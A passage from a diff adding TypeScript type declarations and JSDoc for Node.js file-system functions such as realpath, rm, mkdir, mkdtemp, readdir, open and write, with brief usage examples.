gets two arguments `(err, resolvedPath)`. May use `process.cwd` to resolve relative paths. + * + * Only paths that can be converted to UTF8 strings are supported. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the path passed to the callback. If the `encoding` is set to `'buffer'`, + * the path returned will be passed as a `Buffer` object. + * + * If `path` resolves to a socket or a pipe, the function will return a system + * dependent name for that object. + * @since v0.1.31 + */ + export function realpath( + path: PathLike, + options: EncodingOption, + callback: (err: NodeJS.ErrnoException | null, resolvedPath: string) => void, + ): void; + /** + * Asynchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function realpath( + path: PathLike, + options: BufferEncodingOption, + callback: (err: NodeJS.ErrnoException | null, resolvedPath: Buffer) => void, + ): void; + /** + * Asynchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function realpath( + path: PathLike, + options: EncodingOption, + callback: (err: NodeJS.ErrnoException | null, resolvedPath: string | Buffer) => void, + ): void; + /** + * Asynchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + export function realpath( + path: PathLike, + callback: (err: NodeJS.ErrnoException | null, resolvedPath: string) => void, + ): void; + export namespace realpath { + /** + * Asynchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(path: PathLike, options?: EncodingOption): Promise; + /** + * Asynchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(path: PathLike, options: BufferEncodingOption): Promise; + /** + * Asynchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(path: PathLike, options?: EncodingOption): Promise; + /** + * Asynchronous [`realpath(3)`](http://man7.org/linux/man-pages/man3/realpath.3.html). + * + * The `callback` gets two arguments `(err, resolvedPath)`. + * + * Only paths that can be converted to UTF8 strings are supported. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the path passed to the callback. If the `encoding` is set to `'buffer'`, + * the path returned will be passed as a `Buffer` object. + * + * On Linux, when Node.js is linked against musl libc, the procfs file system must + * be mounted on `/proc` in order for this function to work. Glibc does not have + * this restriction. + * @since v9.2.0 + */ + function native( + path: PathLike, + options: EncodingOption, + callback: (err: NodeJS.ErrnoException | null, resolvedPath: string) => void, + ): void; + function native( + path: PathLike, + options: BufferEncodingOption, + callback: (err: NodeJS.ErrnoException | null, resolvedPath: Buffer) => void, + ): void; + function native( + path: PathLike, + options: EncodingOption, + callback: (err: NodeJS.ErrnoException | null, resolvedPath: string | Buffer) => void, + ): void; + function native( + path: PathLike, + callback: (err: NodeJS.ErrnoException | null, resolvedPath: string) => void, + ): void; + } + /** + * Returns the resolved pathname. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link realpath}. + * @since v0.1.31 + */ + export function realpathSync(path: PathLike, options?: EncodingOption): string; + /** + * Synchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function realpathSync(path: PathLike, options: BufferEncodingOption): Buffer; + /** + * Synchronous realpath(3) - return the canonicalized absolute pathname. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function realpathSync(path: PathLike, options?: EncodingOption): string | Buffer; + export namespace realpathSync { + function native(path: PathLike, options?: EncodingOption): string; + function native(path: PathLike, options: BufferEncodingOption): Buffer; + function native(path: PathLike, options?: EncodingOption): string | Buffer; + } + /** + * Asynchronously removes a file or symbolic link. No arguments other than a + * possible exception are given to the completion callback. + * + * ```js + * import { unlink } from 'node:fs'; + * // Assuming that 'path/file.txt' is a regular file. + * unlink('path/file.txt', (err) => { + * if (err) throw err; + * console.log('path/file.txt was deleted'); + * }); + * ``` + * + * `fs.unlink()` will not work on a directory, empty or otherwise. To remove a + * directory, use {@link rmdir}. + * + * See the POSIX [`unlink(2)`](http://man7.org/linux/man-pages/man2/unlink.2.html) documentation for more details. + * @since v0.0.2 + */ + export function unlink(path: PathLike, callback: NoParamCallback): void; + export namespace unlink { + /** + * Asynchronous unlink(2) - delete a name and possibly the file it refers to. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + function __promisify__(path: PathLike): Promise; + } + /** + * Synchronous [`unlink(2)`](http://man7.org/linux/man-pages/man2/unlink.2.html). Returns `undefined`. + * @since v0.1.21 + */ + export function unlinkSync(path: PathLike): void; + export interface RmDirOptions { + /** + * If an `EBUSY`, `EMFILE`, `ENFILE`, `ENOTEMPTY`, or + * `EPERM` error is encountered, Node.js will retry the operation with a linear + * backoff wait of `retryDelay` ms longer on each try. This option represents the + * number of retries. This option is ignored if the `recursive` option is not + * `true`. + * @default 0 + */ + maxRetries?: number | undefined; + /** + * @deprecated since v14.14.0 In future versions of Node.js and will trigger a warning + * `fs.rmdir(path, { recursive: true })` will throw if `path` does not exist or is a file. + * Use `fs.rm(path, { recursive: true, force: true })` instead. + * + * If `true`, perform a recursive directory removal. In + * recursive mode, operations are retried on failure. + * @default false + */ + recursive?: boolean | undefined; + /** + * The amount of time in milliseconds to wait between retries. + * This option is ignored if the `recursive` option is not `true`. + * @default 100 + */ + retryDelay?: number | undefined; + } + /** + * Asynchronous [`rmdir(2)`](http://man7.org/linux/man-pages/man2/rmdir.2.html). No arguments other than a possible exception are given + * to the completion callback. + * + * Using `fs.rmdir()` on a file (not a directory) results in an `ENOENT` error on + * Windows and an `ENOTDIR` error on POSIX. + * + * To get a behavior similar to the `rm -rf` Unix command, use {@link rm} with options `{ recursive: true, force: true }`. + * @since v0.0.2 + */ + export function rmdir(path: PathLike, callback: NoParamCallback): void; + export function rmdir(path: PathLike, options: RmDirOptions, callback: NoParamCallback): void; + export namespace rmdir { + /** + * Asynchronous rmdir(2) - delete a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + function __promisify__(path: PathLike, options?: RmDirOptions): Promise; + } + /** + * Synchronous [`rmdir(2)`](http://man7.org/linux/man-pages/man2/rmdir.2.html). Returns `undefined`. + * + * Using `fs.rmdirSync()` on a file (not a directory) results in an `ENOENT` error + * on Windows and an `ENOTDIR` error on POSIX. + * + * To get a behavior similar to the `rm -rf` Unix command, use {@link rmSync} with options `{ recursive: true, force: true }`. + * @since v0.1.21 + */ + export function rmdirSync(path: PathLike, options?: RmDirOptions): void; + export interface RmOptions { + /** + * When `true`, exceptions will be ignored if `path` does not exist. + * @default false + */ + force?: boolean | undefined; + /** + * If an `EBUSY`, `EMFILE`, `ENFILE`, `ENOTEMPTY`, or + * `EPERM` error is encountered, Node.js will retry the operation with a linear + * backoff wait of `retryDelay` ms longer on each try. This option represents the + * number of retries. This option is ignored if the `recursive` option is not + * `true`. + * @default 0 + */ + maxRetries?: number | undefined; + /** + * If `true`, perform a recursive directory removal. In + * recursive mode, operations are retried on failure. + * @default false + */ + recursive?: boolean | undefined; + /** + * The amount of time in milliseconds to wait between retries. + * This option is ignored if the `recursive` option is not `true`. + * @default 100 + */ + retryDelay?: number | undefined; + } + /** + * Asynchronously removes files and directories (modeled on the standard POSIX `rm` utility). No arguments other than a possible exception are given to the + * completion callback. + * @since v14.14.0 + */ + export function rm(path: PathLike, callback: NoParamCallback): void; + export function rm(path: PathLike, options: RmOptions, callback: NoParamCallback): void; + export namespace rm { + /** + * Asynchronously removes files and directories (modeled on the standard POSIX `rm` utility). + */ + function __promisify__(path: PathLike, options?: RmOptions): Promise; + } + /** + * Synchronously removes files and directories (modeled on the standard POSIX `rm` utility). Returns `undefined`. + * @since v14.14.0 + */ + export function rmSync(path: PathLike, options?: RmOptions): void; + export interface MakeDirectoryOptions { + /** + * Indicates whether parent folders should be created. + * If a folder was created, the path to the first created folder will be returned. + * @default false + */ + recursive?: boolean | undefined; + /** + * A file mode. If a string is passed, it is parsed as an octal integer. If not specified + * @default 0o777 + */ + mode?: Mode | undefined; + } + /** + * Asynchronously creates a directory. + * + * The callback is given a possible exception and, if `recursive` is `true`, the + * first directory path created, `(err[, path])`.`path` can still be `undefined` when `recursive` is `true`, if no directory was + * created (for instance, if it was previously created). + * + * The optional `options` argument can be an integer specifying `mode` (permission + * and sticky bits), or an object with a `mode` property and a `recursive` property indicating whether parent directories should be created. Calling `fs.mkdir()` when `path` is a directory that + * exists results in an error only + * when `recursive` is false. If `recursive` is false and the directory exists, + * an `EEXIST` error occurs. + * + * ```js + * import { mkdir } from 'node:fs'; + * + * // Create ./tmp/a/apple, regardless of whether ./tmp and ./tmp/a exist. + * mkdir('./tmp/a/apple', { recursive: true }, (err) => { + * if (err) throw err; + * }); + * ``` + * + * On Windows, using `fs.mkdir()` on the root directory even with recursion will + * result in an error: + * + * ```js + * import { mkdir } from 'node:fs'; + * + * mkdir('/', { recursive: true }, (err) => { + * // => [Error: EPERM: operation not permitted, mkdir 'C:\'] + * }); + * ``` + * + * See the POSIX [`mkdir(2)`](http://man7.org/linux/man-pages/man2/mkdir.2.html) documentation for more details. + * @since v0.1.8 + */ + export function mkdir( + path: PathLike, + options: MakeDirectoryOptions & { + recursive: true; + }, + callback: (err: NodeJS.ErrnoException | null, path?: string) => void, + ): void; + /** + * Asynchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + export function mkdir( + path: PathLike, + options: + | Mode + | (MakeDirectoryOptions & { + recursive?: false | undefined; + }) + | null + | undefined, + callback: NoParamCallback, + ): void; + /** + * Asynchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + export function mkdir( + path: PathLike, + options: Mode | MakeDirectoryOptions | null | undefined, + callback: (err: NodeJS.ErrnoException | null, path?: string) => void, + ): void; + /** + * Asynchronous mkdir(2) - create a directory with a mode of `0o777`. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + export function mkdir(path: PathLike, callback: NoParamCallback): void; + export namespace mkdir { + /** + * Asynchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + function __promisify__( + path: PathLike, + options: MakeDirectoryOptions & { + recursive: true; + }, + ): Promise; + /** + * Asynchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + function __promisify__( + path: PathLike, + options?: + | Mode + | (MakeDirectoryOptions & { + recursive?: false | undefined; + }) + | null, + ): Promise; + /** + * Asynchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + function __promisify__( + path: PathLike, + options?: Mode | MakeDirectoryOptions | null, + ): Promise; + } + /** + * Synchronously creates a directory. Returns `undefined`, or if `recursive` is `true`, the first directory path created. + * This is the synchronous version of {@link mkdir}. + * + * See the POSIX [`mkdir(2)`](http://man7.org/linux/man-pages/man2/mkdir.2.html) documentation for more details. + * @since v0.1.21 + */ + export function mkdirSync( + path: PathLike, + options: MakeDirectoryOptions & { + recursive: true; + }, + ): string | undefined; + /** + * Synchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + export function mkdirSync( + path: PathLike, + options?: + | Mode + | (MakeDirectoryOptions & { + recursive?: false | undefined; + }) + | null, + ): void; + /** + * Synchronous mkdir(2) - create a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options Either the file mode, or an object optionally specifying the file mode and whether parent folders + * should be created. If a string is passed, it is parsed as an octal integer. If not specified, defaults to `0o777`. + */ + export function mkdirSync(path: PathLike, options?: Mode | MakeDirectoryOptions | null): string | undefined; + /** + * Creates a unique temporary directory. + * + * Generates six random characters to be appended behind a required `prefix` to create a unique temporary directory. Due to platform + * inconsistencies, avoid trailing `X` characters in `prefix`. Some platforms, + * notably the BSDs, can return more than six random characters, and replace + * trailing `X` characters in `prefix` with random characters. + * + * The created directory path is passed as a string to the callback's second + * parameter. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use. + * + * ```js + * import { mkdtemp } from 'node:fs'; + * import { join } from 'node:path'; + * import { tmpdir } from 'node:os'; + * + * mkdtemp(join(tmpdir(), 'foo-'), (err, directory) => { + * if (err) throw err; + * console.log(directory); + * // Prints: /tmp/foo-itXde2 or C:\Users\...\AppData\Local\Temp\foo-itXde2 + * }); + * ``` + * + * The `fs.mkdtemp()` method will append the six randomly selected characters + * directly to the `prefix` string. For instance, given a directory `/tmp`, if the + * intention is to create a temporary directory _within_`/tmp`, the `prefix`must end with a trailing platform-specific path separator + * (`import { sep } from 'node:path'`). + * + * ```js + * import { tmpdir } from 'node:os'; + * import { mkdtemp } from 'node:fs'; + * + * // The parent directory for the new temporary directory + * const tmpDir = tmpdir(); + * + * // This method is *INCORRECT*: + * mkdtemp(tmpDir, (err, directory) => { + * if (err) throw err; + * console.log(directory); + * // Will print something similar to `/tmpabc123`. + * // A new temporary directory is created at the file system root + * // rather than *within* the /tmp directory. + * }); + * + * // This method is *CORRECT*: + * import { sep } from 'node:path'; + * mkdtemp(`${tmpDir}${sep}`, (err, directory) => { + * if (err) throw err; + * console.log(directory); + * // Will print something similar to `/tmp/abc123`. + * // A new temporary directory is created within + * // the /tmp directory. + * }); + * ``` + * @since v5.10.0 + */ + export function mkdtemp( + prefix: string, + options: EncodingOption, + callback: (err: NodeJS.ErrnoException | null, folder: string) => void, + ): void; + /** + * Asynchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required prefix to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function mkdtemp( + prefix: string, + options: + | "buffer" + | { + encoding: "buffer"; + }, + callback: (err: NodeJS.ErrnoException | null, folder: Buffer) => void, + ): void; + /** + * Asynchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required prefix to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function mkdtemp( + prefix: string, + options: EncodingOption, + callback: (err: NodeJS.ErrnoException | null, folder: string | Buffer) => void, + ): void; + /** + * Asynchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required prefix to create a unique temporary directory. + */ + export function mkdtemp( + prefix: string, + callback: (err: NodeJS.ErrnoException | null, folder: string) => void, + ): void; + export namespace mkdtemp { + /** + * Asynchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required prefix to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(prefix: string, options?: EncodingOption): Promise; + /** + * Asynchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required prefix to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(prefix: string, options: BufferEncodingOption): Promise; + /** + * Asynchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required prefix to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__(prefix: string, options?: EncodingOption): Promise; + } + /** + * Returns the created directory path. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link mkdtemp}. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use. + * @since v5.10.0 + */ + export function mkdtempSync(prefix: string, options?: EncodingOption): string; + /** + * Synchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required prefix to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function mkdtempSync(prefix: string, options: BufferEncodingOption): Buffer; + /** + * Synchronously creates a unique temporary directory. + * Generates six random characters to be appended behind a required prefix to create a unique temporary directory. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function mkdtempSync(prefix: string, options?: EncodingOption): string | Buffer; + /** + * Reads the contents of a directory. The callback gets two arguments `(err, files)` where `files` is an array of the names of the files in the directory excluding `'.'` and `'..'`. + * + * See the POSIX [`readdir(3)`](http://man7.org/linux/man-pages/man3/readdir.3.html) documentation for more details. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the filenames passed to the callback. If the `encoding` is set to `'buffer'`, + * the filenames returned will be passed as `Buffer` objects. + * + * If `options.withFileTypes` is set to `true`, the `files` array will contain `fs.Dirent` objects. + * @since v0.1.8 + */ + export function readdir( + path: PathLike, + options: + | { + encoding: BufferEncoding | null; + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + } + | BufferEncoding + | undefined + | null, + callback: (err: NodeJS.ErrnoException | null, files: string[]) => void, + ): void; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function readdir( + path: PathLike, + options: + | { + encoding: "buffer"; + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + } + | "buffer", + callback: (err: NodeJS.ErrnoException | null, files: Buffer[]) => void, + ): void; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function readdir( + path: PathLike, + options: + | (ObjectEncodingOptions & { + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + }) + | BufferEncoding + | undefined + | null, + callback: (err: NodeJS.ErrnoException | null, files: string[] | Buffer[]) => void, + ): void; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + export function readdir( + path: PathLike, + callback: (err: NodeJS.ErrnoException | null, files: string[]) => void, + ): void; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options If called with `withFileTypes: true` the result data will be an array of Dirent. + */ + export function readdir( + path: PathLike, + options: ObjectEncodingOptions & { + withFileTypes: true; + recursive?: boolean | undefined; + }, + callback: (err: NodeJS.ErrnoException | null, files: Dirent[]) => void, + ): void; + export namespace readdir { + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__( + path: PathLike, + options?: + | { + encoding: BufferEncoding | null; + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + } + | BufferEncoding + | null, + ): Promise; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__( + path: PathLike, + options: + | "buffer" + | { + encoding: "buffer"; + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + }, + ): Promise; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + function __promisify__( + path: PathLike, + options?: + | (ObjectEncodingOptions & { + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + }) + | BufferEncoding + | null, + ): Promise; + /** + * Asynchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options If called with `withFileTypes: true` the result data will be an array of Dirent + */ + function __promisify__( + path: PathLike, + options: ObjectEncodingOptions & { + withFileTypes: true; + recursive?: boolean | undefined; + }, + ): Promise; + } + /** + * Reads the contents of the directory. + * + * See the POSIX [`readdir(3)`](http://man7.org/linux/man-pages/man3/readdir.3.html) documentation for more details. + * + * The optional `options` argument can be a string specifying an encoding, or an + * object with an `encoding` property specifying the character encoding to use for + * the filenames returned. If the `encoding` is set to `'buffer'`, + * the filenames returned will be passed as `Buffer` objects. + * + * If `options.withFileTypes` is set to `true`, the result will contain `fs.Dirent` objects. + * @since v0.1.21 + */ + export function readdirSync( + path: PathLike, + options?: + | { + encoding: BufferEncoding | null; + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + } + | BufferEncoding + | null, + ): string[]; + /** + * Synchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function readdirSync( + path: PathLike, + options: + | { + encoding: "buffer"; + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + } + | "buffer", + ): Buffer[]; + /** + * Synchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options The encoding (or an object specifying the encoding), used as the encoding of the result. If not provided, `'utf8'` is used. + */ + export function readdirSync( + path: PathLike, + options?: + | (ObjectEncodingOptions & { + withFileTypes?: false | undefined; + recursive?: boolean | undefined; + }) + | BufferEncoding + | null, + ): string[] | Buffer[]; + /** + * Synchronous readdir(3) - read a directory. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param options If called with `withFileTypes: true` the result data will be an array of Dirent. + */ + export function readdirSync( + path: PathLike, + options: ObjectEncodingOptions & { + withFileTypes: true; + recursive?: boolean | undefined; + }, + ): Dirent[]; + /** + * Closes the file descriptor. No arguments other than a possible exception are + * given to the completion callback. + * + * Calling `fs.close()` on any file descriptor (`fd`) that is currently in use + * through any other `fs` operation may lead to undefined behavior. + * + * See the POSIX [`close(2)`](http://man7.org/linux/man-pages/man2/close.2.html) documentation for more detail. + * @since v0.0.2 + */ + export function close(fd: number, callback?: NoParamCallback): void; + export namespace close { + /** + * Asynchronous close(2) - close a file descriptor. + * @param fd A file descriptor. + */ + function __promisify__(fd: number): Promise; + } + /** + * Closes the file descriptor. Returns `undefined`. + * + * Calling `fs.closeSync()` on any file descriptor (`fd`) that is currently in use + * through any other `fs` operation may lead to undefined behavior. + * + * See the POSIX [`close(2)`](http://man7.org/linux/man-pages/man2/close.2.html) documentation for more detail. + * @since v0.1.21 + */ + export function closeSync(fd: number): void; + /** + * Asynchronous file open. See the POSIX [`open(2)`](http://man7.org/linux/man-pages/man2/open.2.html) documentation for more details. + * + * `mode` sets the file mode (permission and sticky bits), but only if the file was + * created. On Windows, only the write permission can be manipulated; see {@link chmod}. + * + * The callback gets two arguments `(err, fd)`. + * + * Some characters (`< > : " / \ | ? *`) are reserved under Windows as documented + * by [Naming Files, Paths, and Namespaces](https://docs.microsoft.com/en-us/windows/desktop/FileIO/naming-a-file). Under NTFS, if the filename contains + * a colon, Node.js will open a file system stream, as described by [this MSDN page](https://docs.microsoft.com/en-us/windows/desktop/FileIO/using-streams). + * + * Functions based on `fs.open()` exhibit this behavior as well:`fs.writeFile()`, `fs.readFile()`, etc. + * @since v0.0.2 + * @param [flags='r'] See `support of file system `flags``. + * @param [mode=0o666] + */ + export function open( + path: PathLike, + flags: OpenMode | undefined, + mode: Mode | undefined | null, + callback: (err: NodeJS.ErrnoException | null, fd: number) => void, + ): void; + /** + * Asynchronous open(2) - open and possibly create a file. If the file is created, its mode will be `0o666`. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param [flags='r'] See `support of file system `flags``. + */ + export function open( + path: PathLike, + flags: OpenMode | undefined, + callback: (err: NodeJS.ErrnoException | null, fd: number) => void, + ): void; + /** + * Asynchronous open(2) - open and possibly create a file. If the file is created, its mode will be `0o666`. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + */ + export function open(path: PathLike, callback: (err: NodeJS.ErrnoException | null, fd: number) => void): void; + export namespace open { + /** + * Asynchronous open(2) - open and possibly create a file. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param mode A file mode. If a string is passed, it is parsed as an octal integer. If not supplied, defaults to `0o666`. + */ + function __promisify__(path: PathLike, flags: OpenMode, mode?: Mode | null): Promise; + } + /** + * Returns an integer representing the file descriptor. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link open}. + * @since v0.1.21 + * @param [flags='r'] + * @param [mode=0o666] + */ + export function openSync(path: PathLike, flags: OpenMode, mode?: Mode | null): number; + /** + * Change the file system timestamps of the object referenced by `path`. + * + * The `atime` and `mtime` arguments follow these rules: + * + * * Values can be either numbers representing Unix epoch time in seconds, `Date`s, or a numeric string like `'123456789.0'`. + * * If the value can not be converted to a number, or is `NaN`, `Infinity`, or `-Infinity`, an `Error` will be thrown. + * @since v0.4.2 + */ + export function utimes(path: PathLike, atime: TimeLike, mtime: TimeLike, callback: NoParamCallback): void; + export namespace utimes { + /** + * Asynchronously change file timestamps of the file referenced by the supplied path. + * @param path A path to a file. If a URL is provided, it must use the `file:` protocol. + * @param atime The last access time. If a string is provided, it will be coerced to number. + * @param mtime The last modified time. If a string is provided, it will be coerced to number. + */ + function __promisify__(path: PathLike, atime: TimeLike, mtime: TimeLike): Promise; + } + /** + * Returns `undefined`. + * + * For detailed information, see the documentation of the asynchronous version of + * this API: {@link utimes}. + * @since v0.4.2 + */ + export function utimesSync(path: PathLike, atime: TimeLike, mtime: TimeLike): void; + /** + * Change the file system timestamps of the object referenced by the supplied file + * descriptor. See {@link utimes}. + * @since v0.4.2 + */ + export function futimes(fd: number, atime: TimeLike, mtime: TimeLike, callback: NoParamCallback): void; + export namespace futimes { + /** + * Asynchronously change file timestamps of the file referenced by the supplied file descriptor. + * @param fd A file descriptor. + * @param atime The last access time. If a string is provided, it will be coerced to number. + * @param mtime The last modified time. If a string is provided, it will be coerced to number. + */ + function __promisify__(fd: number, atime: TimeLike, mtime: TimeLike): Promise; + } + /** + * Synchronous version of {@link futimes}. Returns `undefined`. + * @since v0.4.2 + */ + export function futimesSync(fd: number, atime: TimeLike, mtime: TimeLike): void; + /** + * Request that all data for the open file descriptor is flushed to the storage + * device. The specific implementation is operating system and device specific. + * Refer to the POSIX [`fsync(2)`](http://man7.org/linux/man-pages/man2/fsync.2.html) documentation for more detail. No arguments other + * than a possible exception are given to the completion callback. + * @since v0.1.96 + */ + export function fsync(fd: number, callback: NoParamCallback): void; + export namespace fsync { + /** + * Asynchronous fsync(2) - synchronize a file's in-core state with the underlying storage device. + * @param fd A file descriptor. + */ + function __promisify__(fd: number): Promise; + } + /** + * Request that all data for the open file descriptor is flushed to the storage + * device. The specific implementation is operating system and device specific. + * Refer to the POSIX [`fsync(2)`](http://man7.org/linux/man-pages/man2/fsync.2.html) documentation for more detail. Returns `undefined`. + * @since v0.1.96 + */ + export function fsyncSync(fd: number): void; + /** + * Write `buffer` to the file specified by `fd`. + * + * `offset` determines the part of the buffer to be written, and `length` is + * an integer specifying the number of bytes to write. + * + * `position` refers to the offset from the beginning of the file where this data + * should be written. If `typeof position !== 'number'`, the data will be written + * at the current position. See [`pwrite(2)`](http://man7.org/linux/man-pages/man2/pwrite.2.html). + * + * The callback will be given three arguments `(err, bytesWritten, buffer)` where `bytesWritten` specifies how many _bytes_ were written from `buffer`. + * + * If this method is invoked as its `util.promisify()` ed version, it returns + * a promise for an `Object` with `bytesWritten` and `buffer` properties. + * + * It is unsafe to use `fs.write()` multiple times on the same file without waiting + * for the callback. For this scenario, {@link createWriteStream} is + * recommended. + * + * On Linux, positional writes don't work when the file is opened in append mode. + * The kernel ignores the position argument and always appends the data to + * the end of the file. + * @since v0.0.2 + * @param [offset=0] + * @param [length=buffer.byteLength - offset] + * @param [position='null'] + */ + export function write( + fd: number, + buffer: TBuffer, + offset: number | undefined | null, + length: number | undefined | null, + position: number | undefined | null, + callback: (err: NodeJS.ErrnoException | null, written: number, buffer: TBuffer) => void, + ): void; + /** + * Asynchronously writes `buffer` to the file referenced by the supplied file descriptor. + * @param fd A file descriptor. + * @param offset The part of the buffer to be written. If not supplied, defaults to `0`. + * @param length The number of bytes to write. If not supplied, defaults to `buffer.length - offset`. + */ + export function write( + fd: number, + buffer: TBuffer, + offset: number | undefined | null, + length: number | undefined | null, + callback: (err: NodeJS.ErrnoException | null, written: number, buffer: TBuffer) => void, + ): void; + /** + * Asynchronously writes `buffer` to the file referenced by the supplied file descriptor. + * @param fd A 